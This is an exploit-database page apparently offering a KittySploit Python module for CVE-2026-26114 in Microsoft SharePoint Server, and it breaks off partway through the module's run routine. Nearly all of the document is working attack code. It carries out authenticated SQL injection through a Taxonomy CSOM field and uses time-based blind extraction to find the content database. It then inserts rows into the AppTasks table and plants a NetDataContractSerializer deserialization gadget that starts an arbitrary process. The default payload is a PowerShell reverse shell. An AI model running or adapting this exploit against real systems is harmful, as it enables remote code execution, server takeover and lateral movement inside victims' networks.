Lucene search
+L

SharePoint Taxonomy SQLi -> AppLifecycle NDCS RCE (CVE-2026-26114)

🗓️ 10 Jul 2026 11:31:42Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

Authenticated RCE in Microsoft SharePoint Server via Taxonomy SQLi and NDCS.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Deserialization of Untrusted Data in Microsoft
3 Jul 202614:46
–githubexploit
attackerkb
attackerkb
CVE-2026-26114
10 Mar 202617:05
–attackerkb
avleonov
Information Security Automation
March Microsoft Patch Tuesday
11 Mar 202619:20
–avleonov
bdu_fstec
BDU FSTEC
Microsoft SharePoint Server Deserialization RCE
11 Mar 202600:00
–bdu_fstec
circl
Circl
CVE-2026-26114
10 Mar 202616:57
–circl
cnnvd
CNNVD
Microsoft SharePoint 代码问题漏洞
10 Mar 202600:00
–cnnvd
cnvd
CNVD
Microsoft SharePoint Server Remote Code Execution Vulnerability (CNVD-2026-16162)
16 Mar 202600:00
–cnvd
cve
CVE
CVE-2026-26114
10 Mar 202617:05
–cve
cvelist
Cvelist
CVE-2026-26114 Microsoft SharePoint Server Remote Code Execution Vulnerability
10 Mar 202617:05
–cvelist
euvd
EUVD
EUVD-2026-10681
10 Mar 202618:31
–euvd
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import binascii
import time
import uuid
from typing import Any, Dict, List, Optional, Tuple
from urllib.parse import urljoin
from xml.sax.saxutils import escape as xml_escape

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):

    TAXONOMY_SESSION_TYPEID = "{981cbc68-9edc-4f8d-872f-71146fcbb84f}"
    DEFAULT_TASK_TYPE = (
        "Microsoft.SharePoint.Lifecycle.FinalFixupTask, Microsoft.SharePoint, "
        "Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c"
    )
    HEADER_JSON = {"Accept": "application/json;odata=verbose"}

    __info__ = {
        "name": "SharePoint Taxonomy SQLi -> AppLifecycle NDCS RCE (CVE-2026-26114)",
        "description": (
            "CVE-2026-26114 full-chain authenticated exploit for Microsoft SharePoint Server. "
            "Abuses a Taxonomy CSOM CustomSortOrder SQL injection to insert AppInstallations, "
            "AppJobs and AppTasks rows, then triggers OWSTIMER to deserialize a "
            "TypeConfuseDelegate NetDataContractSerializer gadget for remote code execution. "
            "Requires NTLM credentials with taxonomy write access. Auto-discovers SiteId, WebId, "
            "JobCreatorId, TermStore/Group, and Content DB (blind SQLi when not supplied)."
        ),
        "author": ["huynambka", "KittySploit Team"],
        "cve": ["CVE-2026-26114"],
        "arch": [Arch.X86, Arch.X64],
        "platform": Platform.WINDOWS,
        "references": [],
        "tags": [
            "sharepoint",
            "ntlm",
            "sqli",
            "ndcs",
            "deserialization",
            "rce",
            "authenticated",
            "cve-2026-26114",
        ],
        "dependencies": ["requests-ntlm"],
        "payload": {
            "default": "payloads/singles/cmd/windows/powershell_reverse_tcp",
            "platform": Platform.WINDOWS,
            "category": PayloadCategory.SINGLE,
        },
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 20,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
                                   {'capability': 'shell', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
                                 'post/shell/multi/manage/pivot_autoroute']},
    },
    }

    port = OptPort(443, "SharePoint HTTPS port", required=True)
    ssl = OptBool(True, "Use HTTPS", required=True)
    domain = OptString("", "AD domain (optional if DOMAIN\\user is in username)", required=False)
    username = OptString("", "SharePoint username (DOMAIN\\user or user@domain)", required=True)
    password = OptString("", "Account password", required=True)
    command = OptString("", "Command to execute instead of the selected payload", required=False)
    marker_file = OptString(
        "",
        "Writable path on target for whoami self-check (cmd /c whoami > path) when no command",
        required=False,
    )
    content_db = OptString(
        "",
        "SharePoint content database name (empty = auto-discover via blind SQLi)",
        required=False,
    )
    content_db_prefer = OptString(
        "SharePoint_Content_sp01",
        "Preferred content DB name tried before blind enumeration",
        required=False,
        advanced=True,
    )
    task_type = OptString(DEFAULT_TASK_TYPE, "AppTasks TaskType assembly name", required=False, advanced=True)
    no_confirm = OptBool(False, "Skip OWSTIMER pull confirmation via blind SQLi", required=False, advanced=True)
    poll = OptInteger(30, "Max OWSTIMER pull poll iterations", required=False, advanced=True)
    interval = OptInteger(5, "Seconds between pull polls", required=False, advanced=True)

    def _endpoint(self, *segs: str) -> str:
        return urljoin(self._base_url().rstrip("/") + "/", "/".join(segs))

    def _api_get_json(self, *segs: str, **params: str) -> Dict[str, Any]:
        r = self.session.get(
            self._endpoint(*segs), headers=self.HEADER_JSON, params=params or None, timeout=30
        )
        if r.status_code == 401:
            raise RuntimeError(f"auth failed (401) on {'/'.join(segs)}")
        r.raise_for_status()
        return r.json()

    def _contextinfo(self) -> str:
        r = self.session.post(
            self._endpoint("_api", "contextinfo"),
            headers={**self.HEADER_JSON, "Content-Type": "application/json;odata=verbose"},
            data=b"",
            timeout=30,
        )
        if r.status_code == 401:
            raise RuntimeError("auth failed (401) on contextinfo")
        r.raise_for_status()
        return r.json()["d"]["GetContextWebInformation"]["FormDigestValue"]

    def _process_query(self, digest: str, xml: str, timeout: int = 240):
        start = time.perf_counter()
        r = self.session.post(
            self._endpoint("_vti_bin", "client.svc", "ProcessQuery"),
            headers={"X-RequestDigest": digest, "Content-Type": "text/xml"},
            data=xml.encode("utf-8"),
            timeout=timeout,
        )
        return r, time.perf_counter() - start

    def _pq_error(self, r) -> Optional[Dict[str, Any]]:
        try:
            for it in r.json():
                err = it.get("ErrorInfo") if isinstance(it, dict) else None
                if err:
                    return err
        except Exception:
            return None
        return None

    def _pq_guid(self, raw: Any) -> str:
        s = str(raw)
        if s.startswith("/Guid(") and s.endswith(")/"):
            return s[6:-2]
        return s.strip("{}")

    def _xml_guid(self, p: str) -> str:
        return xml_escape(p)

    def _csom_create_termset(self, store_id: str, group_id: str, name: str, termset_id: str = None) -> str:
        termset_id = termset_id or str(uuid.uuid4())
        return f"""<Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName="cve202626114">
 <Actions>
  <ObjectPath Id="10" ObjectPathId="6" />
  <ObjectIdentityQuery Id="11" ObjectPathId="6" />
  <Method Id="12" ObjectPathId="3" Name="CommitAll" />
 </Actions>
 <ObjectPaths>
  <StaticMethod Id="1" Name="GetTaxonomySession" TypeId="{self.TAXONOMY_SESSION_TYPEID}" />
  <Property Id="2" ParentId="1" Name="TermStores" />
  <Method Id="3" ParentId="2" Name="GetById"><Parameters><Parameter Type="Guid">{self._xml_guid(store_id)}</Parameter></Parameters></Method>
  <Property Id="4" ParentId="3" Name="Groups" />
  <Method Id="5" ParentId="4" Name="GetById"><Parameters><Parameter Type="Guid">{self._xml_guid(group_id)}</Parameter></Parameters></Method>
  <Method Id="6" ParentId="5" Name="CreateTermSet"><Parameters>
   <Parameter Type="String">{xml_escape(name)}</Parameter>
   <Parameter Type="Guid">{{{self._xml_guid(termset_id)}}}</Parameter>
   <Parameter Type="Int32">1033</Parameter>
  </Parameters></Method>
 </ObjectPaths>
</Request>"""

    def _csom_create_term(self, store_id: str, termset_id: str, name: str, term_id: str = None) -> str:
        term_id = term_id or str(uuid.uuid4())
        return f"""<Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName="cve202626114">
 <Actions>
  <ObjectPath Id="10" ObjectPathId="4" />
  <ObjectPath Id="11" ObjectPathId="5" />
  <ObjectIdentityQuery Id="12" ObjectPathId="5" />
  <Method Id="13" ObjectPathId="3" Name="CommitAll" />
 </Actions>
 <ObjectPaths>
  <StaticMethod Id="1" Name="GetTaxonomySession" TypeId="{self.TAXONOMY_SESSION_TYPEID}" />
  <Property Id="2" ParentId="1" Name="TermStores" />
  <Method Id="3" ParentId="2" Name="GetById"><Parameters><Parameter Type="Guid">{self._xml_guid(store_id)}</Parameter></Parameters></Method>
  <Method Id="4" ParentId="3" Name="GetTermSet"><Parameters><Parameter Type="Guid">{self._xml_guid(termset_id)}</Parameter></Parameters></Method>
  <Method Id="5" ParentId="4" Name="CreateTerm"><Parameters>
   <Parameter Type="String">{xml_escape(name)}</Parameter>
   <Parameter Type="Int32">1033</Parameter>
   <Parameter Type="Guid">{{{self._xml_guid(term_id)}}}</Parameter>
  </Parameters></Method>
 </ObjectPaths>
</Request>"""

    def _csom_move_sqli(
        self, store_id: str, src_termset: str, term: str, dst_termset: str, custom_sort_order: str
    ) -> str:
        return f"""<Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName="cve202626114">
 <Actions>
  <ObjectPath Id="10" ObjectPathId="3" />
  <ObjectPath Id="11" ObjectPathId="4" />
  <ObjectPath Id="12" ObjectPathId="5" />
  <SetProperty Id="13" ObjectPathId="4" Name="CustomSortOrder"><Parameter Type="String">{xml_escape(custom_sort_order)}</Parameter></SetProperty>
  <Method Id="14" ObjectPathId="4" Name="Move"><Parameters><Parameter ObjectPathId="5" /></Parameters></Method>
  <Method Id="15" ObjectPathId="3" Name="CommitAll" />
 </Actions>
 <ObjectPaths>
  <StaticMethod Id="1" Name="GetTaxonomySession" TypeId="{self.TAXONOMY_SESSION_TYPEID}" />
  <Property Id="2" ParentId="1" Name="TermStores" />
  <Method Id="3" ParentId="2" Name="GetById"><Parameters><Parameter Type="Guid">{self._xml_guid(store_id)}</Parameter></Parameters></Method>
  <Method Id="4" ParentId="3" Name="GetTermInTermSet"><Parameters>
   <Parameter Type="Guid">{self._xml_guid(src_termset)}</Parameter>
   <Parameter Type="Guid">{self._xml_guid(term)}</Parameter>
  </Parameters></Method>
  <Method Id="5" ParentId="3" Name="GetTermSet"><Parameters><Parameter Type="Guid">{self._xml_guid(dst_termset)}</Parameter></Parameters></Method>
 </ObjectPaths>
</Request>"""

    def _discover_site(self) -> Tuple[str, str]:
        site_id = self._api_get_json("_api", "site", **{"$select": "Id"})["d"]["Id"]
        web_id = self._api_get_json("_api", "web", **{"$select": "Id"})["d"]["Id"]
        return site_id, web_id

    def _discover_user(self) -> int:
        return int(self._api_get_json("_api", "web", "currentuser")["d"]["Id"])

    def _group_writable(self, digest: str, store_id: str, group_id: str) -> bool:
        xml = self._csom_create_termset(store_id, group_id, "Tst" + uuid.uuid4().hex[:6])
        r, _ = self._process_query(digest, xml)
        return r.status_code == 200 and not self._pq_error(r)

    def _discover_taxonomy(self, digest: str) -> Tuple[str, str, str, str]:
        xml_stores = f"""<Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName="cve202626114">
 <Actions><ObjectPath Id="10" ObjectPathId="2" /><Query Id="11" ObjectPathId="2"><Query SelectAllProperties="false"><Properties /></Query>
  <ChildItemQuery SelectAllProperties="false"><Properties><Property Name="Id" ScalarProperty="true" /><Property Name="Name" ScalarProperty="true" /></Properties></ChildItemQuery></Query></Actions>
 <ObjectPaths><StaticMethod Id="1" Name="GetTaxonomySession" TypeId="{self.TAXONOMY_SESSION_TYPEID}" /><Property Id="2" ParentId="1" Name="TermStores" /></ObjectPaths></Request>"""
        r, _ = self._process_query(digest, xml_stores)
        err = self._pq_error(r)
        if err:
            raise RuntimeError(f"term store enum error: {err.get('ErrorMessage')}")
        stores: List[Dict[str, str]] = []
        for it in r.json():
            if isinstance(it, dict) and it.get("_ObjectType_") == "SP.Taxonomy.TermStoreCollection":
                for st in it.get("_Child_Items_", []):
                    stores.append({"id": self._pq_guid(st["Id"]), "name": st["Name"]})
        if not stores:
            raise RuntimeError("no term store visible")

        for st in stores:
            xml_g = f"""<Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName="cve202626114">
 <Actions><ObjectPath Id="10" ObjectPathId="4" /><Query Id="11" ObjectPathId="4"><Query SelectAllProperties="false"><Properties /></Query>
  <ChildItemQuery SelectAllProperties="false"><Properties><Property Name="Id" ScalarProperty="true" /><Property Name="Name" ScalarProperty="true" /></Properties></ChildItemQuery></Query></Actions>
 <ObjectPaths><StaticMethod Id="1" Name="GetTaxonomySession" TypeId="{self.TAXONOMY_SESSION_TYPEID}" /><Property Id="2" ParentId="1" Name="TermStores" />
  <Method Id="3" ParentId="2" Name="GetById"><Parameters><Parameter Type="Guid">{{{self._xml_guid(st['id'])}}}</Parameter></Parameters></Method><Property Id="4" ParentId="3" Name="Groups" /></ObjectPaths></Request>"""
            rg, _ = self._process_query(digest, xml_g)
            if self._pq_error(rg):
                continue
            for it in rg.json():
                if isinstance(it, dict) and it.get("_ObjectType_") == "SP.Taxonomy.TermGroupCollection":
                    for gr in it.get("_Child_Items_", []):
                        gid, gname = self._pq_guid(gr["Id"]), gr["Name"]
                        if gname.lower() == "system":
                            continue
                        if self._group_writable(digest, st["id"], gid):
                            return st["id"], st["name"], gid, gname
        raise RuntimeError("no writable taxonomy group found")

    def _inject(self, digest: str, store_id: str, group_id: str, sql_batch: str, timeout: int = 300):
        src = str(uuid.uuid4())
        dst = str(uuid.uuid4())
        term = str(uuid.uuid4())
        for tsid, nm in [
            (src, "Src" + uuid.uuid4().hex[:12]),
            (dst, "Dst" + uuid.uuid4().hex[:12]),
        ]:
            rx, _ = self._process_query(digest, self._csom_create_termset(store_id, group_id, nm, tsid))
            if self._pq_error(rx):
                raise RuntimeError(f"CreateTermSet failed: {self._pq_error(rx)['ErrorMessage']}")
        rt, _ = self._process_query(
            digest, self._csom_create_term(store_id, src, "T" + uuid.uuid4().hex[:12], term)
        )
        if self._pq_error(rt):
            raise RuntimeError(f"CreateTerm failed: {self._pq_error(rt)['ErrorMessage']}")
        payload = f"x'; {sql_batch} -- "
        return self._process_query(
            digest, self._csom_move_sqli(store_id, src, term, dst, payload), timeout
        )

    def _blind_true(self, digest: str, store_id: str, group_id: str, cond: str, wait: int = 5) -> bool:
        r, elapsed = self._inject(
            digest,
            store_id,
            group_id,
            f"IF ({cond}) WAITFOR DELAY '00:00:{wait:02d}'",
            timeout=max(wait + 30, 60),
        )
        return elapsed >= max(wait - 1, 3)

    def _blind_int(self, digest: str, store_id: str, group_id: str, expr: str, lo: int, hi: int) -> int:
        while lo < hi:
            mid = (lo + hi) // 2
            if self._blind_true(digest, store_id, group_id, f"{expr} > {mid}"):
                lo = mid + 1
            else:
                hi = mid
        return lo

    def _blind_string(
        self,
        digest: str,
        store_id: str,
        group_id: str,
        query: str,
        max_len: int = 128,
    ) -> str:
        expr = f"COALESCE(CONVERT(nvarchar(4000),({query})),'')"
        n = self._blind_int(digest, store_id, group_id, f"LEN({expr})", 0, max_len)
        out = ""
        for i in range(1, n + 1):
            c = self._blind_int(
                digest,
                store_id,
                group_id,
                f"ASCII(SUBSTRING({expr},{i},1))",
                1,
                126,
            )
            out += chr(c)
            self._db_progress(out)
        return out

    def _db_ref(self, name: str) -> str:
        return f"[{name.replace(']', ']]')}]"

    def _content_db_condition(self, db_name: str, site_id: str) -> str:
        db = self._db_ref(db_name)
        db_name_sql = db_name.replace("'", "''")
        return (
            f"DB_ID('{db_name_sql}') IS NOT NULL AND "
            f"EXISTS(SELECT 1 FROM {db}.sys.tables WHERE name='AppTasks') AND "
            f"EXISTS(SELECT 1 FROM {db}.sys.tables WHERE name='Sites') AND "
            f"EXISTS(SELECT 1 FROM {db}.dbo.Sites WHERE Id='{site_id}')"
        )

    def _enumerate_accessible_dbs(
        self,
        digest: str,
        store_id: str,
        group_id: str,
        max_dbs: int = 64,
        max_name_len: int = 128,
    ) -> List[str]:
        count = self._blind_int(
            digest,
            store_id,
            group_id,
            "(SELECT COUNT(*) FROM sys.databases "
            "WHERE database_id > 4 AND state = 0 AND HAS_DBACCESS(name) = 1)",
            0,
            max_dbs,
        )
        names: List[str] = []
        for idx in range(1, count + 1):
            q = (
                "SELECT name FROM ("
                "SELECT ROW_NUMBER() OVER (ORDER BY database_id) AS rn, name "
                "FROM sys.databases "
                "WHERE database_id > 4 AND state = 0 AND HAS_DBACCESS(name) = 1"
                f") d WHERE rn = {idx}"
            )
            name = self._blind_string(digest, store_id, group_id, q, max_len=max_name_len)
            if name:
                names.append(name)
        return names

    def _enumerate_matching_dbs(
        self,
        digest: str,
        store_id: str,
        group_id: str,
        where_sql: str,
        max_dbs: int = 64,
        max_name_len: int = 128,
    ) -> List[str]:
        count = self._blind_int(
            digest,
            store_id,
            group_id,
            "(SELECT COUNT(*) FROM sys.databases "
            "WHERE database_id > 4 AND state = 0 AND HAS_DBACCESS(name) = 1 "
            f"AND ({where_sql}))",
            0,
            max_dbs,
        )
        names: List[str] = []
        for idx in range(1, count + 1):
            q = (
                "SELECT name FROM ("
                "SELECT ROW_NUMBER() OVER (ORDER BY name) AS rn, name "
                "FROM sys.databases "
                "WHERE database_id > 4 AND state = 0 AND HAS_DBACCESS(name) = 1 "
                f"AND ({where_sql})"
                f") d WHERE rn = {idx}"
            )
            name = self._blind_string(digest, store_id, group_id, q, max_len=max_name_len)
            if name:
                names.append(name)
        return names

    def _discover_content_db(
        self,
        digest: str,
        store_id: str,
        group_id: str,
        site_id: str,
        prefer: str = "SharePoint_Content_sp01",
    ) -> str:
        if prefer and self._blind_true(
            digest, store_id, group_id, self._content_db_condition(prefer, site_id)
        ):
            return prefer

        for content_named_db in self._enumerate_matching_dbs(
            digest, store_id, group_id, "name LIKE '%Content%'"
        ):
            if self._blind_true(
                digest,
                store_id,
                group_id,
                self._content_db_condition(content_named_db, site_id),
                wait=4,
            ):
                return content_named_db

        for db_name in self._enumerate_accessible_dbs(digest, store_id, group_id):
            if self._blind_true(
                digest,
                store_id,
                group_id,
                self._content_db_condition(db_name, site_id),
                wait=4,
            ):
                return db_name

        raise RuntimeError("could not discover content DB containing AppTasks + current SiteId")

    def _ndcs_payload(self, command: str) -> bytes:
        first = command.find(" ")
        file_name = command[:first] if first >= 0 else command
        arguments = command[first + 1 :] if first >= 0 else ""

        def node(idx: int, val: str) -> str:
            ns = 'xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays"'
            if not val:
                return f'<string z:Id="{idx}" {ns}/>'
            return f'<string z:Id="{idx}" {ns}>{xml_escape(val)}</string>'

        a, b = sorted([file_name, arguments])

        xml = (
            '<ArrayOfstring z:Id="1" z:Type="System.Collections.Generic.SortedSet`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:x="http://www.w3.org/2001/XMLSchema" xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/">'
            '<Count z:Id="2" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Count>'
            '<Comparer z:Id="3" z:Type="System.Collections.Generic.ComparisonComparer`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="0" xmlns="">'
            '<_comparison z:Id="4" z:FactoryType="a:DelegateSerializationHolder" z:Type="System.DelegateSerializationHolder" z:Assembly="0" xmlns="http://schemas.datacontract.org/2004/07/System.Collections.Generic" xmlns:a="http://schemas.datacontract.org/2004/07/System">'
            '<Delegate z:Id="5" z:Type="System.DelegateSerializationHolder+DelegateEntry" z:Assembly="0" xmlns="">'
            '<a:assembly z:Id="6">mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:assembly>'
            '<a:delegateEntry z:Id="7"><a:assembly z:Ref="6" i:nil="true"/><a:delegateEntry i:nil="true"/>'
            '<a:methodName z:Id="8">Compare</a:methodName><a:target i:nil="true"/>'
            '<a:targetTypeAssembly z:Ref="6" i:nil="true"/><a:targetTypeName z:Id="9">System.String</a:targetTypeName>'
            '<a:type z:Id="10">System.Comparison`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type></a:delegateEntry>'
            '<a:methodName z:Id="11">Start</a:methodName><a:target i:nil="true"/>'
            '<a:targetTypeAssembly z:Id="12">System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:targetTypeAssembly>'
            '<a:targetTypeName z:Id="13">System.Diagnostics.Process</a:targetTypeName>'
            '<a:type z:Id="14">System.Func`3[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type></Delegate>'
            '<method0 z:Id="15" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection">'
            '<Name z:Ref="11" i:nil="true"/><AssemblyName z:Ref="12" i:nil="true"/><ClassName z:Ref="13" i:nil="true"/>'
            '<Signature z:Id="16" z:Type="System.String" z:Assembly="0">System.Diagnostics.Process Start(System.String, System.String)</Signature>'
            '<Signature2 z:Id="17" z:Type="System.String" z:Assembly="0">System.Diagnostics.Process Start(System.String, System.String)</Signature2>'
            '<MemberType z:Id="18" z:Type="System.Int32" z:Assembly="0">8</MemberType><GenericArguments i:nil="true"/></method0>'
            '<method1 z:Id="19" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection">'
            '<Name z:Ref="8" i:nil="true"/><AssemblyName z:Ref="6" i:nil="true"/><ClassName z:Ref="9" i:nil="true"/>'
            '<Signature z:Id="20" z:Type="System.String" z:Assembly="0">Int32 Compare(System.String, System.String)</Signature>'
            '<Signature2 z:Id="21" z:Type="System.String" z:Assembly="0">System.Int32 Compare(System.String, System.String)</Signature2>'
            '<MemberType z:Id="22" z:Type="System.Int32" z:Assembly="0">8</MemberType><GenericArguments i:nil="true"/></method1>'
            "</_comparison></Comparer>"
            '<Version z:Id="23" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Version>'
            '<Items z:Id="24" z:Type="System.String[]" z:Assembly="0" z:Size="2" xmlns="">'
            f"{node(25, a)}{node(26, b)}</Items></ArrayOfstring>"
        )
        return xml.encode("utf-8")

    def _build_insert_sql(
        self,
        taskdata_hex: str,
        site_id: str,
        web_id: str,
        creator_id: int,
        task_type: str,
        content_db: str,
        job_id: str = None,
        task_id: str = None,
    ) -> str:
        job_id = job_id or str(uuid.uuid4())
        task_id = task_id or str(uuid.uuid4())
        db = content_db.replace("]", "]]")
        return f"""USE [{db}];
DECLARE @SiteId uniqueidentifier = '{site_id}';
DECLARE @JobId uniqueidentifier = '{job_id}';
DECLARE @TaskId uniqueidentifier = '{task_id}';
DECLARE @InstId uniqueidentifier = NEWID();
INSERT INTO dbo.AppInstallations (Id,Status,InError,SourceInfoId,WebId,CreationTime,SiteSubscriptionId,LastJobOperation,WasLastJobCancelled,WasLastJobManuallyCancelled,IsIconHosted,CreatorId,DisableAuthority,InstallationLocale,SiteId)
VALUES (@InstId,5,0,NEWID(),'{web_id}',GETUTCDATE(),'00000000-0000-0000-0000-000000000000',0,0,0,0,{creator_id},0,1033,@SiteId); WHILE @@TRANCOUNT>0 COMMIT;
INSERT INTO dbo.AppJobs (Id,InstallationId,Operation,IsCancelled,IsManuallyCancelled,IsCommitted,CreationTime,JobCreatorId,SiteId)
VALUES (@JobId,@InstId,1,0,0,1,GETUTCDATE(),{creator_id},@SiteId); WHILE @@TRANCOUNT>0 COMMIT;
INSERT INTO dbo.AppTasks (JobId,TaskId,TaskType,TaskData,PulledTime,FinishedTime,Retries,TaskCloneId,EstimatedDurationMinutes,RegisteredTime,TimeoutTime,IsRollback,TaskOperation,CancelledWhileInProgress,LastPullerHostName,IsolationKey,SiteId)
VALUES (@JobId,@TaskId,'{task_type}',0x{taskdata_hex},NULL,NULL,0,NULL,1,GETUTCDATE(),NULL,0,1,0,NULL,NEWID(),@SiteId); WHILE @@TRANCOUNT>0 COMMIT;
WAITFOR DELAY '00:00:03';"""

    def _poll_task_pulled(
        self,
        digest: str,
        store_id: str,
        group_id: str,
        content_db: str,
        task_id: str,
        poll_count: int = 30,
        interval: int = 5,
        wait: int = 5,
    ) -> bool:
        db = content_db.replace("]", "]]")
        cond = (
            f"EXISTS(SELECT 1 FROM [{db}].dbo.AppTasks WHERE TaskId='{task_id}' "
            "AND PulledTime IS NOT NULL)"
        )
        for _ in range(poll_count):
            if self._blind_true(digest, store_id, group_id, cond, wait=wait):
                return True
            time.sleep(interval)
        return False

    def _principal(self) -> str:
        dom = str(self.domain or "").strip()
        user = str(self.username or "").strip()
        if not user:
            return ""
        if "@" in user and not dom:
            user, dom = user.split("@", 1)
        elif "\\" in user:
            dom, user = user.split("\\", 1)
        return f"{dom}\\{user}" if dom else user

    def _base_url(self) -> str:
        target = str(self.target or "").strip()
        if not target:
            raise ValueError("target is required")
        port = int(self.port or 443)
        ssl = self._to_bool(self.ssl)
        protocol = "https" if ssl or port == 443 else "http"
        base_path = str(self.path or "/").strip()
        if not base_path.startswith("/"):
            base_path = "/" + base_path
        base_path = base_path.rstrip("/")
        return f"{protocol}://{target}:{port}{base_path}"

    def _verify_ssl(self) -> bool:
        return self._to_bool(self.verify_ssl)

    def _ntlm_auth(self):
        try:
            from requests_ntlm import HttpNtlmAuth
        except ImportError as exc:
            raise ImportError(
                "requests-ntlm is required for SharePoint NTLM authentication "
                "(pip install requests-ntlm)"
            ) from exc
        return HttpNtlmAuth(self._principal(), str(self.password or ""))

    def _configure_ntlm_session(self):
        self._configure_session()
        self.session.auth = self._ntlm_auth()
        self.session.verify = self._verify_ssl()

    def _normalize_command(self) -> str:
        if self.command:
            return str(self.command)
        payload = self.payload
        if isinstance(payload, bytes):
            return payload.decode("utf-8", errors="ignore")
        return str(payload or "")

    def _resolve_command(self) -> str:
        command = self._normalize_command()
        if command:
            return command
        marker = str(self.marker_file or "").strip()
        if marker:
            return f"cmd /c whoami > {marker}"
        return ""

    def _exploit(self):
        if self.command or self.marker_file:
            return bool(self.run())
        return super()._exploit()

    def _db_progress(self, partial: str):
        print_status(f"content_db extract: {partial}")

    def check(self):
        try:
            self._configure_ntlm_session()
            digest = self._contextinfo()
            site_id, web_id = self._discover_site()
            return {
                "vulnerable": True,
                "reason": (
                    f"SharePoint REST API reachable with NTLM auth "
                    f"(SiteId={site_id}, WebId={web_id}, digest obtained)"
                ),
                "confidence": "medium",
            }
        except Exception as e:
            return {"vulnerable": False, "reason": f"Check failed: {e}", "confidence": "low"}

    def run(self):
        try:
            print_status("SharePoint CVE-2026-26114 Taxonomy SQLi -> NDCS RCE")
            print_info(f"Target: {self._base_url()}")

            command = self._resolve_command()
            if not command:
                print_error("Provide command (payload) or marker_file for self-verification")
                return False

            self._configure_ntlm_session()
            login = self._principal()
            print_success(f"NTLM auth configured for {login}")

            digest = self._contextinfo()
            print_success(f"Form digest: {digest[:24]}...")

            site_id, web_id = self._discover_site()
            creator_id = self._discover_user()
            print_success(f"SiteId={site_id} WebId={web_id} JobCreatorId={creator_id}")

            store_id, store_name, group_id, group_name = self._discover_taxonomy(digest)
            print_success(
                f"Writable taxonomy group: {group_name} ({group_id}) in store {store_name}"
            )

            manual_db = str(self.content_db or "").strip()
            if manual_db:
                db_name = manual_db
                print_info(f"Using supplied content_db: {db_name}")
            else:
                prefer = str(self.content_db_prefer or "SharePoint_Content_sp01").strip()
                print_status(f"Discovering content database (prefer={prefer})...")
                db_name = self._discover_content_db(digest, store_id, group_id, site_id, prefer=prefer)
                print_success(f"content_db: {db_name}")

            taskdata = self._ndcs_payload(command)
            print_success(f"NDCS TaskData: {len(taskdata)} bytes for: {command}")

            job_id = str(uuid.uuid4())
            task_id = str(uuid.uuid4())
            sql = self._build_insert_sql(
                binascii.hexlify(taskdata).decode(),
                site_id,
                web_id,
                creator_id,
                str(self.task_type or self.DEFAULT_TASK_TYPE),
                db_name,
                job_id,
                task_id,
            )

            print_status("Injecting AppInstallations+AppJobs+AppTasks via taxonomy SQLi...")
            r, elapsed = self._inject(digest, store_id, group_id, sql)
            err = self._pq_error(r)
            batch_ran = r.status_code == 200 and elapsed >= 3.0
            print_success(
                f"Inject HTTP {r.status_code} {elapsed:.2f}s "
                f"({'BATCH RAN' if batch_ran else 'FAILED'})"
            )
            if err:
                print_warning(
                    f"CSOM ErrorInfo (harmless if batch ran): {err.get('ErrorMessage')}"
                )
            print_info(f"TaskId={task_id} JobId={job_id}")

            if not self._to_bool(self.no_confirm):
                poll_count = max(1, int(self.poll or 30))
                poll_interval = max(1, int(self.interval or 5))
                print_status(
                    f"Polling OWSTIMER pull (up to {poll_count * poll_interval}s)..."
                )
